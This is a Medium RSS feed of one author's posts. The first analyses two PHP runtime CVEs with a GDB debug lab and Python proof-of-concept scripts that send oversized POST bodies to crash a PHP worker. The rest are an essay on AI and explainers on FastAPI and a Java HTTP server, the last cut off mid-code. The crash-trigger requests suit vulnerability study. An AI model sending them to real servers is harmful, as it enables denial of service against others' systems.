<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Samarth Patel on Medium]]></title>
        <description><![CDATA[Stories by Samarth Patel on Medium]]></description>
        <link>https://medium.com/@itssp1998?source=rss-8cdee3504aa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rx-qvmR607vMRcBNTxhKdw.png</url>
            <title>Stories by Samarth Patel on Medium</title>
            <link>https://medium.com/@itssp1998?source=rss-8cdee3504aa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 04:55:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@itssp1998/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP2Shell: Understanding Two Critical PHP Runtime Vulnerabilities Through GDB]]></title>
            <link>https://medium.com/@itssp1998/php2shell-understanding-two-critical-php-runtime-vulnerabilities-through-gdb-971cad596b3e?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/971cad596b3e</guid>
            <category><![CDATA[php-vulnerability]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sun, 01 Nov 2026 12:22:00 GMT</pubDate>
            <atom:updated>2026-11-01T12:22:00.295Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWo9BQGDrEy3T8C_X6oO5w.png" /></figure><p>Most web vulnerabilities are application-layer problems: an unescaped query here, a missing authorization check there. But occasionally, a bug lives entirely inside the language runtime, firing before a single line of your actual application code is even executed.</p><p>CVE-2026–109618 and CVE-2026–109619, associated with the PHP2Shell exploit chain, are prime examples.</p><p>These vulnerabilities aren’t caused by bad code in a framework or plugin. They involve how PHP handles request lifecycles, memory allocation, global state, and cleanup inside persistent worker environments.</p><p>To understand how a malformed HTTP request can turn into memory corruption and potentially remote code execution, we have to look past userland PHP and trace how the engine manages memory at the C level.</p><h3>1. Under the Hood: How PHP Processes a Request</h3><p>Before a single line of your .php code runs, PHP&#39;s underlying C engine processes the incoming HTTP request. In worker-reuse environments like Apache mod_php or PHP-FPM, this happens inside a persistent process lifecycle.</p><pre>            [HTTP Request]<br>                 |<br>                 v<br>             [SAPI Layer]<br>                 |<br>                 v<br>       php_request_startup()<br>                 |<br>                 v<br>          [POST Data Parsing]<br>                 |<br>          +------+------+<br>          |             |<br>          v             v<br>   multipart/form   URL-encoded<br>   rfc1867 handler  POST handler<br>          |             |<br>          +------+------+<br>                 |<br>                 v<br>       [Userland Script Execution]<br>                 |<br>                 v<br>       php_request_shutdown()</pre><p>When a multipart/form-data request arrives, PHP&#39;s internal multipart parser (main/rfc1867.c) handles file uploads and form fields. If session upload progress is enabled, PHP also processes upload-progress information during this stage.</p><p>All of this happens inside the PHP engine, before the application gets control.</p><p>The engine uses the <strong>Zend Memory Manager (Zend MM)</strong> to manage memory allocated during request processing. Under normal conditions, request-owned data is released when the request shuts down.</p><p>The interesting part is what happens when this lifecycle is interrupted by an abnormal condition. If an error occurs while internal request state is only partially initialized, cleanup may operate on inconsistent data. In other cases, request-owned state can survive beyond the lifetime of the memory it references.</p><p>This becomes particularly interesting in persistent workers, where the same process can handle multiple requests.</p><h3>2. Understanding the Two Vulnerabilities</h3><p>The two CVEs address related but distinct problems.</p><p><strong>CVE-2026–109618 — Out-of-memory corruption</strong></p><p>PHP can run out of memory while internal request data is only partially initialized. The allocation failure interrupts normal execution, but the cleanup path may subsequently treat the incomplete data as valid.</p><p>This creates an opportunity for memory corruption during request teardown.</p><p><strong>CVE-2026–109619 — Stale global state</strong></p><p>Some internal state owned by a request can survive after the memory backing it has been freed. In a persistent worker environment, the next request may encounter this stale state before normal request initialization resets it.</p><h3>3. Practical Reproduction: Investigating PHP’s Memory</h3><p>I wanted to understand what happens inside PHP rather than simply rely on the vulnerability description.</p><p>For this, I created a local debugging environment using PHP 8.5.11 with debug symbols, Apache prefork, and GDB.</p><p>The idea was to observe memory allocation during request processing, trigger an allocation failure, inspect the state during shutdown, and then send another request to the same worker.</p><h3>3.1 Environment Setup and Process Isolation</h3><p>I used a custom PHP debug build inside the official Apache PHP image.</p><p>The important configuration choices were:</p><ul><li>PHP compiled with debug symbols.</li><li>A low memory_limit to observe allocation failures.</li><li>GDB installed inside the container.</li><li>Apache prefork configured with a single worker.</li></ul><p>Using a single worker is important because I wanted both requests to be handled by the same Apache child process.</p><p>Here is the relevant Dockerfile configuration:</p><pre>FROM php:8.5.11-apache<br># Replace stock PHP binaries with the custom debug build.<br>COPY php-build/libphp.so /usr/lib/apache2/modules/libphp.so<br>COPY php-build/php /usr/local/bin/php<br>ENV PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d<br># Remove extensions compiled against the stock PHP build.<br>RUN rm -f /usr/local/etc/php/conf.d/docker-php-ext-*.ini<br>RUN printf &#39;%s\n&#39; \<br>    &quot;memory_limit = 16M&quot; \<br>    &quot;post_max_size = 32M&quot; \<br>    &gt; /usr/local/etc/php/conf.d/memory-limit.ini<br>COPY index.php /var/www/html/index.php<br># Configure Apache to use a single prefork worker.<br>RUN printf &#39;%s\n&#39; \<br>    &#39;ServerName localhost&#39; \<br>    &#39;&lt;IfModule mpm_prefork_module&gt;&#39; \<br>    &#39;    StartServers 1&#39; \<br>    &#39;    MinSpareServers 1&#39; \<br>    &#39;    MaxSpareServers 1&#39; \<br>    &#39;    MaxRequestWorkers 1&#39; \<br>    &#39;    ServerLimit 1&#39; \<br>    &#39;&lt;/IfModule&gt;&#39; \<br>    &gt; /etc/apache2/conf-available/single-worker.conf \<br>    &amp;&amp; a2enconf single-worker<br>RUN apt-get update \<br>    &amp;&amp; apt-get install -y --no-install-recommends gdb procps \<br>    &amp;&amp; rm -rf /var/lib/apt/lists/*</pre><h3>3.2 Inspecting the Zend MM Heap</h3><p>Before triggering the crash, I wanted to understand where PHP’s memory manager keeps its internal structures.</p><p>I placed breakpoints around three important functions:</p><ul><li>php_request_startup() — initializes the PHP request context.</li><li>rfc1867_post_handler() — handles multipart form data.</li><li>php_request_shutdown() — performs request teardown.</li></ul><p>I then sent a multipart request containing a very large field name. The intention was to trigger an allocation failure while PHP was still processing the request, before the application code could execute.</p><p>Here is the request:</p><pre>import urllib.request<br>b = &quot;----------------boundary123&quot;<br>p1 = (<br>    &quot;--&quot; + b +<br>    &quot;\r\nContent-Disposition: form-data; name=\&quot;\&quot;\r\n\r\n&quot; +<br>    (&quot;A&quot; * 276) + &quot;\r\n&quot;<br>)<br>p2 = (<br>    &quot;--&quot; + b +<br>    &quot;\r\nContent-Disposition: form-data; name=\&quot;a\&quot;\r\n\r\n&quot; +<br>    &quot;1\r\n&quot;<br>)<br>p3 = (<br>    &quot;--&quot; + b +<br>    &quot;\r\nContent-Disposition: form-data; name=\&quot;&quot; +<br>    (&quot;B&quot; * 7000000) +<br>    &quot;[x]\&quot;\r\n\r\n1\r\n&quot;<br>)<br>tail = &quot;--&quot; + b + &quot;--\r\n&quot;<br>body = (p1 + p2 + p3 + tail).encode(&quot;latin1&quot;)<br>req = urllib.request.Request(<br>    &quot;http://localhost:8089/index.php&quot;,<br>    data=body,<br>    headers={<br>        &quot;Content-Type&quot;: &quot;multipart/form-data; boundary=&quot; + b<br>    }<br>)<br>try:<br>    with urllib.request.urlopen(req) as resp:<br>        print(resp.read().decode())<br>except Exception as e:<br>    print(&quot;Triggered expected exception / connection drop:&quot;, e)</pre><p>Once execution reached php_request_shutdown(), I inspected the Zend MM heap pointer using GDB:</p><pre>(gdb) p alloc_globals.mm_heap<br>$2 = (zend_mm_heap *) 0xffff9b200040</pre><p>This gives us the address of the zend_mm_heap structure.</p><p>It is important to understand that this is the location of the allocator’s bookkeeping structure, not necessarily the beginning of the heap’s memory region.</p><p>For an initial look at the request’s memory footprint, I searched a memory range for the byte pattern corresponding to eight consecutive B characters:</p><pre>(gdb) find/g 0xffff9b200040, 0xffff9d000000, 0x4242424242424242</pre><p>The inspected range is approximately 30 MiB.</p><p>After allowing the request to complete, I repeated the search. The same B pattern was still visible at addresses such as:</p><pre>0xffff9b25e000<br>0xffff9b25e001<br>0xffff9b25e002<br>0xffff9b25e003<br>0xffff9b25e004<br>...</pre><p>This was an interesting observation. Even after the request lifecycle had completed, the contents of the large field name were still visible in the inspected memory range.</p><p>There is an important distinction here: the presence of residual bytes does not necessarily mean that the corresponding allocation is still active. Freed memory can retain its old contents until another allocation overwrites it.</p><p>However, this gives us a useful starting point for investigating the request’s memory footprint and understanding how memory behaves during abnormal request termination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vlRiv2HdXRkI4qjKnxEt0Q.png" /><figcaption>Output of first script</figcaption></figure><h3>3.3 Triggering the Segmentation Fault</h3><p>After the first request completed, I sent a second request to the same Apache instance.</p><p>Unlike the first request, this one uses application/x-www-form-urlencoded instead of multipart/form-data. It contains a large parameter name, but follows a different POST parsing path.</p><pre>#!/usr/bin/env python3<br>import http.client<br><br># Must remain below post_max_size (32 MiB in your container).<br># Adjust upward until the allocation fails during request initialization.<br>key_size = 4_000_000<br><br>body = (<br>    b&quot;=&quot; + (b&quot;A&quot; * 276) +<br>    b&quot;&amp;a=1&amp;&quot; +<br>    (b&quot;K&quot; * key_size) + b&quot;[x]=1&quot;<br>)<br><br>conn = http.client.HTTPConnection(&quot;127.0.0.1&quot;, 8089, timeout=30)<br>conn.request(<br>    &quot;POST&quot;,<br>    &quot;/index.php&quot;,<br>    body=body,<br>    headers={<br>        &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>        &quot;Content-Length&quot;: str(len(body)),<br>    },<br>)<br>response = conn.getresponse()<br>print(response.status, response.reason)<br>print(response.read().decode(&quot;utf-8&quot;, &quot;replace&quot;))</pre><p>In my local reproduction, the second request caused the worker to terminate with a segmentation fault:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eq_G7Dz_hFRuWZpgKm9X3g.png" /></figure><h3>3.5 From Memory Corruption to Remote Code Execution</h3><p>A segmentation fault is not the end goal of an exploit. It is one possible outcome of accessing invalid memory.</p><p>The more serious possibility is manipulating the corrupted state so that PHP uses attacker-controlled data where it expects valid internal structures.</p><p>The PHP2Shell exploit chain demonstrates how the two vulnerabilities can be combined to achieve this.</p><h3>4. Conclusion</h3><p>What makes these vulnerabilities interesting is that the application itself is not necessarily involved in triggering them.</p><p>The failure happens inside PHP’s request lifecycle, while the engine is still processing incoming data. An out-of-memory condition or an abnormal cleanup path can leave internal state inconsistent. In a persistent worker environment, that state can potentially affect a later request handled by the same process.</p><p><strong>Reference</strong></p><p><a href="https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/#exploitation-walkthrough-for-cve-2026-109618">https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/#exploitation-walkthrough-for-cve-2026-109618</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=971cad596b3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Maybe This Is One Of Those Eras People Talk About Later]]></title>
            <link>https://medium.com/@itssp1998/maybe-this-is-one-of-those-eras-people-talk-about-later-47faa82c4378?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/47faa82c4378</guid>
            <category><![CDATA[generative-ai-tools]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sun, 17 May 2026 13:34:32 GMT</pubDate>
            <atom:updated>2026-05-22T22:23:18.206Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbhLdptru4FGl2GP8lKIzQ.png" /></figure><p>I’m writing this mostly as a note to myself.</p><p>Maybe a few years later I’ll come back and read this again to see whether these feelings made any sense at all. Right now everything around AI feels extremely noisy — too many predictions, too much certainty, too many people pretending they know exactly where things are heading.</p><p>I don’t think anyone actually knows.</p><p>But I do feel like we are living through some kind of transition moment in tech history, and I wanted to write down what it feels like from inside it.</p><p>I was too young during the dot-com bubble.</p><p>I know that era mostly through documentaries, blogs, YouTube videos, and people talking about how suddenly every company became an “internet company.” By the time I grew up, the internet already existed as a normal thing. I never experienced that transition itself.</p><p>But this AI phase feels different because for the first time I can actually see the shift happening around me in real time.</p><p>I’m only 27. My college and the initial phase of my career happened before GPT became part of everyday life. Which feels strange to say because it wasn’t even that long ago. Sometimes it genuinely feels like software development changed more in the last 3–4 years than in the decade before it.</p><p>And interestingly, I had already spent some time around “AI” before this entire LLM wave started.</p><p>Somewhere around 2018, I remember experimenting with TensorFlow when it still felt new and slightly intimidating. Back then, doing something as simple as object detection felt magical. I remember writing tiny neural networks, manually calculating gradient descent during learning exercises, trying to understand how weights actually updated underneath everything.</p><p>At that time, AI felt mathematical.</p><p>Almost academic.</p><p>If someone said they worked in AI, people automatically imagined machine learning engineers building prediction systems — recommendation engines, fraud detection models, forecasting systems, classifiers.</p><p>Now AI mostly means LLMs.</p><p>The meaning of the word itself quietly changed without anyone formally acknowledging it.</p><p>And software engineering quietly started changing with it.</p><p>I still remember how normal it felt to spend hours reading documentation. You would open five Stack Overflow tabs, go through random GitHub issues, test things manually, fail repeatedly, and eventually something clicked. That process was slow, sometimes frustrating, but it built intuition.</p><p>You slowly started understanding how systems behave instead of just memorizing solutions. And once that intuition develops, you begin applying the same patterns of thinking across completely different problems.</p><p>There was a lot of waiting involved in becoming good at engineering.</p><p>Waiting and thinking.</p><p>That combination mattered more than I realized at the time.Today the loop feels completely different.Now whenever I hit confusion, my first instinct is asking AI.</p><p>Not sitting with the problem for a while.<br>Not trying multiple approaches first.<br>Not struggling with it for a few hours.</p><p>Just asking.</p><p>And the weird part is it works.</p><p>That’s what makes this whole thing difficult to think about honestly. AI is genuinely useful. Sometimes unbelievably useful. I’ve worked on production-grade agentic systems myself and there are moments where it honestly feels absurd what suddenly becomes possible with a very small team.</p><p>Things that would have taken weeks earlier now happen in hours.</p><p>Sometimes the bottleneck is no longer implementation.</p><p>It’s clarity.</p><p>The difficult part is no longer writing code itself, but clearly understanding what exactly should be built, how systems should behave, what tradeoffs matter, and how to guide these models correctly.</p><p>And weirdly, that makes thinking more valuable, not less.</p><p>But at the same time, I keep feeling that humans are becoming less patient overall.</p><p>Instagram reels reduced our tolerance for slower content. YouTube shorts changed how we consume information. Even movies feel edited differently now because attention spans everywhere seem shorter.</p><p>And now AI feels like it’s doing something similar to thinking itself.</p><p>The moment we encounter friction, we remove it immediately.</p><p>The moment we don’t know something, we ask instantly.</p><p>I’m not even criticizing this completely because I do it too. But I sometimes wonder whether constantly removing friction also removes depth.</p><p>Some of the most important things I learned in engineering came from sitting with problems longer than I wanted to. There’s a very specific kind of understanding that only appears after mental struggle. AI is incredible at helping us reach answers faster, but I still can’t decide whether reaching answers faster always means understanding better.</p><p>Maybe it does.</p><p>Maybe it doesn’t.</p><p>I genuinely don’t know.</p><p>And I think that uncertainty is what makes this era feel so strange.</p><p>Everyone around us speaks with extreme confidence. Either AI will replace everyone, or AI is all hype and nothing substantial. But when I look around honestly, it feels much messier than both sides admit.</p><p>I recently read a paper discussing the economic side of AI-driven displacement, and one particular idea stayed in my head. Technological disruption only remains stable when the rate of job creation can absorb the rate of job displacement. If productivity grows faster than economic participation itself, eventually the imbalance starts spreading through the system.</p><p>Maybe that fear is overblown.</p><p>Or maybe we are already seeing the early signs underneath all the excitement.</p><p>I honestly don’t know.</p><p>But I do know this feels historically significant while living through it.</p><p>And maybe years later, the most interesting part won’t be that AI started writing code.</p><p>Maybe it’ll be that this was the period where humans slowly stopped thinking alone?</p><h3>A message from our Founder</h3><p>Hey, <a href="https://linkedin.com/in/sunilsandhu">Sunil</a> here. I wanted to take a moment to thank you for reading until the end and for being a part of this community. Did you know that our team run these publications as a volunteer effort to over 3.5m monthly readers? We don’t receive any funding, we do this to support the community.</p><p>If you want to show some love, please take a moment to follow me on <a href="https://linkedin.com/in/sunilsandhu">LinkedIn</a>, <a href="https://tiktok.com/@messyfounder">TikTok</a>, <a href="https://instagram.com/sunilsandhu">Instagram</a>. You can also subscribe to our <a href="https://newsletter.plainenglish.io/">weekly newsletter</a>. And before you go, don’t forget to clap and follow the writer️!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47faa82c4378" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What Actually Happens When FastAPI Handles a Request?]]></title>
            <link>https://python.plainenglish.io/what-actually-happens-when-fastapi-handles-a-request-ac529e5fdd90?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac529e5fdd90</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[fastapi]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 09:42:22 GMT</pubDate>
            <atom:updated>2026-02-03T06:54:58.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*5V0E45p3zq81bGNxCGSHZw.png" /></figure><h3>Introduction</h3><p>In our day-to-day development, we build applications assuming that an HTTP server is <em>just there</em>. We trust the framework to do the heavy lifting while we focus on business logic. Whether it’s Spring Boot in the Java world or FastAPI in Python, the assumption remains the same:<br><strong> “I’ll write my endpoints. The framework will figure out the rest.”</strong></p><p>Coming from a Java background, I carried that exact mindset when I started working with FastAPI and I failed miserably. Things didn’t behave as I expected. The way FastAPI handles requests, concurrency, and scaling is fundamentally different from how traditional Java servers operate.</p><p>So I went down the rabbit hole.</p><p>In this article, we’ll go under the hood and try to understand what really happens inside FastAPI when a request hits the server. How does FastAPI schedule incoming requests? What role does Uvicorn play? How does concurrency actually work without spinning hundreds of threads like Java? And why are I/O-bound workloads such a perfect match for this architecture?</p><p>If you’ve ever used FastAPI but never paused to ask <em>“How is this thing actually working?” </em>this is going to be fun.</p><h3>What Happens When a Request Reaches FastAPI Application</h3><p>FastAPI is a web framework. Its job is to provide a structured way to define your routes, handle requests, validate data, serialize responses, and manage dependencies. In short, it gives you the tools to write web APIs without worrying about low-level networking.</p><p>But FastAPI <strong>doesn’t run on its own</strong>. It needs a server to host the application and handle incoming network traffic. One popular choice is <strong>Uvicorn</strong>, an ASGI server built for asynchronous Python applications. There are other such servers like <strong>Hypercorn, Daphne etc.</strong></p><p>When a client sends a request to your FastAPI app, it <strong>doesn’t go directly to your route handler</strong>. Here’s what happens under the hood:</p><ol><li><strong>Uvicorn Listens for Connections</strong><br> Uvicorn opens a TCP socket and listens on the port you specify (default 8000). When a request arrives, it accepts the connection and reads the HTTP data.</li><li><strong>ASGI Comes Into Play</strong><br> FastAPI is built on <strong>ASGI (Asynchronous Server Gateway Interface)</strong>, a modern standard for Python web servers. ASGI allows asynchronous handling of requests, streaming, WebSockets, and background tasks.</li><li>Think of ASGI as a contract between the server (Uvicorn) and the application (FastAPI). The server says:<br> <em>“Here’s a request, along with callbacks to send and receive messages”</em>, and FastAPI promises to handle it according to that contract.</li><li><strong>The Request is Wrapped into a Scope</strong><br> When Uvicorn receives a request, it creates a <strong>scope</strong> , a Python dictionary containing request metadata like path, method, headers, query parameters, and client info. Along with this scope, Uvicorn provides send and receive callbacks for communication. This is what FastAPI actually interacts with.</li><li><strong>FastAPI Resolves the Route</strong><br> FastAPI examines the request scope to determine which endpoint should handle it. It looks at the path, HTTP method, and any route parameters to find a matching route. Once found, it prepares to execute the endpoint function.</li></ol><p>Whereas in Spring Boot with Tomcat, the server starts a <strong>thread pool</strong> at startup. Each incoming request is assigned a thread from this pool, and any blocking I/O (like database calls) occupies that thread until the request completes.</p><p>In contrast, FastAPI + Uvicorn <strong>doesn’t create a thread per request</strong>. Instead, requests are scheduled as tasks on the event loop, allowing thousands of I/O-bound requests to run concurrently without needing thousands of threads.</p><h3>How FastAPI Executes Your Endpoint: Async vs Sync</h3><p>Once a request reaches FastAPI and the correct route is resolved, the framework needs to <strong>execute your endpoint function</strong>. How it does this depends on whether your endpoint is <strong>asynchronous (</strong><strong>async def)</strong> or <strong>synchronous (</strong><strong>def)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*1-4LmNmyur45mOiL_jUcGA.png" /></figure><ol><li>Async Endpoints (async def)</li></ol><p>When you define an endpoint with async def:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Yv-r0uuMUIrlQGdCNv06w.png" /></figure><ul><li>FastAPI schedules it as a <strong>coroutine</strong> on the <strong>event loop</strong>.</li><li>When it hits an await (e.g., waiting for DB or HTTP response), it <strong>yields control</strong>, allowing the event loop to run other tasks.</li><li>This enables <strong>thousands of I/O-bound requests to be handled concurrently in a single thread</strong>.</li></ul><p><strong>Key insight:</strong> One thread can serve many requests because the event loop switches between tasks whenever they are waiting for I/O. This is true concurrency disguised as parallelism.</p><p>2. Sync Endpoints (def)</p><p>Synchronous endpoints are defined with def:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WLY5teJDVPtdhYTdEjye5Q.png" /></figure><ul><li>FastAPI itself <strong>runs this function directly in the thread that is handling the request</strong>.</li><li>If you’re using <strong>Uvicorn with its default single worker</strong>, then yes the synchronous endpoint <strong>blocks the event loop</strong>, meaning other async requests on the same loop cannot progress while this runs.</li><li>To avoid blocking the event loop in production, you can run <strong>multiple Uvicorn workers</strong>, or explicitly offload blocking calls using run_in_executor.</li></ul><h3>Why I/O-Bound Workloads Are a Perfect Fit</h3><p>For I/O-bound workloads, choosing a <strong>single-threaded, event-loop-based server</strong> like FastAPI is ideal. We’ve seen how FastAPI handles requests; now let’s understand why the event loop is so efficient.</p><p>The event loop runs on a <strong>single OS thread</strong>, scheduling <strong>coroutines</strong>, lightweight objects that capture the execution state of a function. When a coroutine reaches an await,for example, waiting on a database query or an HTTP request it <strong>pauses and yields control</strong>, allowing the loop to immediately resume another ready coroutine.</p><p>Unlike threads, this approach requires <strong>no OS-level context switches</strong> or large per-thread stacks, avoiding megabytes of memory per request and costly kernel scheduling. By turning idle waiting into concurrency, the event loop lets a single thread handle thousands of I/O-bound requests efficiently, making FastAPI particularly well-suited for I/O-heavy workloads.</p><h3>Scaling FastAPI Under Load</h3><p>By design, a <strong>single Uvicorn worker</strong> runs on <strong>one OS thread</strong>, which means it can utilize <strong>only one CPU core</strong>. Even if your machine has multiple cores, that single worker cannot run Python bytecode in parallel due to the <strong>Global Interpreter Lock (GIL)</strong>. The event loop inside that worker can efficiently handle <strong>thousands of concurrent I/O-bound requests</strong>, but it remains bound to a single CPU for execution.</p><h4>Vertical Scaling with Multiple Workers</h4><p>To fully leverage multi-core machines, we can start<strong> </strong>multiple Uvicorn workers<strong>,</strong> each as a separate OS process:</p><p><em>uvicorn app:app , workers 4 , host 0.0.0.0 , port 8000</em></p><ul><li>Each worker runs its own <strong>event loop</strong>, independently handling requests.</li><li>Multiple workers allow <strong>true parallel execution</strong> on different CPU cores.</li><li>This scales the application vertically on a single machine, effectively multiplying throughput by the number of cores used.</li></ul><h4>Horizontal Scaling with Multiple Instances</h4><p>We can also scale across multiple machines or containers, each running one or more workers:</p><ul><li>A load balancer distributes incoming requests across these instances.</li><li>Each instance can be small (single CPU) or larger (multiple workers per instance).</li><li>Horizontal scaling provides redundancy and elasticity, handling traffic spikes or allowing dynamic scaling as demand changes.</li></ul><h3>Conclusion</h3><p>To conclude, we’ve seen how FastAPI handles requests differently from traditional thread-based frameworks. Its event-loop architecture makes it highly efficient for I/O-bound workloads, allowing a single thread to manage thousands of concurrent requests. Understanding how the event loop schedules coroutines and why it is cheaper than threads clarifies when and why FastAPI is the right choice, and how scaling with multiple workers or instances can handle higher loads effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac529e5fdd90" width="1" height="1" alt=""><hr><p><a href="https://python.plainenglish.io/what-actually-happens-when-fastapi-handles-a-request-ac529e5fdd90">What Actually Happens When FastAPI Handles a Request?</a> was originally published in <a href="https://python.plainenglish.io/">Python in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Under the Hood: How to Build a Lightweight HTTP Server in Java]]></title>
            <link>https://medium.com/@itssp1998/under-the-hood-how-to-build-a-lightweight-http-server-in-java-d6df3c723c6d?source=rss-8cdee3504aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6df3c723c6d</guid>
            <category><![CDATA[https]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Samarth Patel]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 11:02:04 GMT</pubDate>
            <atom:updated>2025-07-19T11:02:04.893Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EydOCEglXiQGytKjLO-G2Q.png" /></figure><h3>Introduction</h3><p>In our day-to-day development, we build applications assuming that an HTTP server is just <em>there</em>. Whether it’s Spring Boot, Flask, or Express — some underlying server is already abstracted away, quietly doing the heavy lifting of accepting connections, parsing requests, and routing them to the right piece of code.</p><p>But how many of us have really paused to think about <em>what exactly happens</em> when a client hits an endpoint? What does it take to accept a raw HTTP request over a socket and respond meaningfully?</p><p>In this article, I’ll be taking a step back and building a minimal HTTP server from scratch in Java. Atoy project, but as a reusable library that any Java application can import and use to define routes using clean, Spring-style annotations like @Controller, @GET, and @POST.</p><p>By the end of this post, you’ll not only understand how request handling works under the hood — you’ll have a working server foundation you can customize, extend, and experiment with.</p><blockquote>Inspired by BhaiLang — this server uses playful and intuitive names like @BhaiDe (GET), @BhaiLe (POST), BhaiPlease (request), and BhaiMila (response) to make development fun and relatable.</blockquote><p>Let’s peel back the abstraction.</p><h4>Understanding RFC Protocol for HTTP/1.1</h4><p>Before diving in, let’s first understand the underlying protocol specification. At the server level, it’s simply plain text transmitted over a socket, adhering to a strict structure as defined by the HTTP/1.1 RFC.</p><p>Here’s what a basic GET request typically looks like:</p><blockquote>GET /hello HTTP/1.1<br>Host: localhost:8080<br>User-Agent: curl/7.64.1<br>Accept: */*</blockquote><p>This request has:</p><ul><li>A <strong>request line</strong>: method (GET), path (/hello), and protocol version.</li><li><strong>Headers</strong>: key-value pairs like Host, User-Agent.</li><li>A blank line to signal the end of headers.</li></ul><p>That’s it — no body. For POST requests, the body would come after the blank line. Understanding this raw format is important because when building our custom server, we’ll be parsing these lines manually — just as the spec expects. Now lets go ahead and understand the components behind the server.</p><h4>Core Components We’ll Be Implementing</h4><p>To build our custom HTTP server from the ground up, we’ll break the system into a few well-defined components. Each of these will have a specific responsibility and together, they’ll form the foundation of our server.</p><ol><li>HttpServer<em>:</em></li></ol><p>This will be our main server class. It’ll be responsible for:</p><ul><li>Listening on a given port</li><li>Accepting incoming socket connections</li><li>Handing off requests to worker threads for further processing</li></ul><p>2. ClientHandler or Request Parser:</p><p>Each client connection will be handled by this class. Its job will be to:</p><ul><li>Read raw data from the socket</li><li>Parse it into an HTTP request object (method, path, headers, body)</li><li>Pass it along to the router for resolution</li></ul><p>3. Router</p><p>The router will act as the orchestrator. It will:</p><ul><li>Map incoming requests to the correct handler methods</li><li>Maintain a lookup table of path-method mappings</li><li>Be initialized once by scanning annotated controller classes</li></ul><p>4. Annotations (@Controller, @GET, @POST)</p><p>We’ll define our own custom annotations that allow application developers to register request handlers. These will:</p><ul><li>Be processed using reflection during startup</li><li>Let developers declaratively define which methods handle which routes</li></ul><p>These are the moving parts we’ll be stitching together. In the following sections, we’ll implement each one step by step, and then show how you can build an actual application on top of it.</p><h4>Implementing the Components</h4><p>We’ll now walk through each component of our server. Each plays a focused role, together forming a minimal yet functional HTTP server.</p><p>1. HttpServer (<em>BhaiServer)</em>: Entry Point to Accept Requests</p><pre>private void handleClientConnections(ServerSocket serverSocket) throws IOException {<br>    while (running) {<br>        Socket client = serverSocket.accept();<br>        System.out.println(&quot;Incoming request, forking out thread... [&quot; + client.getPort() + &quot;]&quot;);<br>        threadPool.submit(new ClientHandler(client, router));<br>    }<br>}</pre><p>This method continuously listens for incoming TCP connections and ensures concurrency using a thread pool. <em>The server uses a fixed-size thread pool, assigning a thread per connection unlike event-loop-based servers (e.g., Node.js, Netty, Uvicorn).</em></p><p>2. Router — Registering and Invoking Annotated Methods</p><p>During server startup, the Router scans provided controller classes using reflection:</p><pre>public void registerControllers(List&lt;Class&lt;?&gt;&gt; controllerClasses) throws Exception {<br>        for (Class&lt;?&gt; cls : controllerClasses) {<br>            if (!cls.isAnnotationPresent(BhaiControl.class)) continue;<br>            <br>            Object controllerInstance = cls.getDeclaredConstructor().newInstance();<br><br>            for (Method method : cls.getDeclaredMethods()) {<br>                if (method.isAnnotationPresent(BhaiDe.class)) {<br>                    String path = method.getAnnotation(BhaiDe.class).value();<br>                    getRoutes.put(path, new RouteHandler(controllerInstance, method));<br>                } else if (method.isAnnotationPresent(BhaiLe.class)) {<br>                    String path = 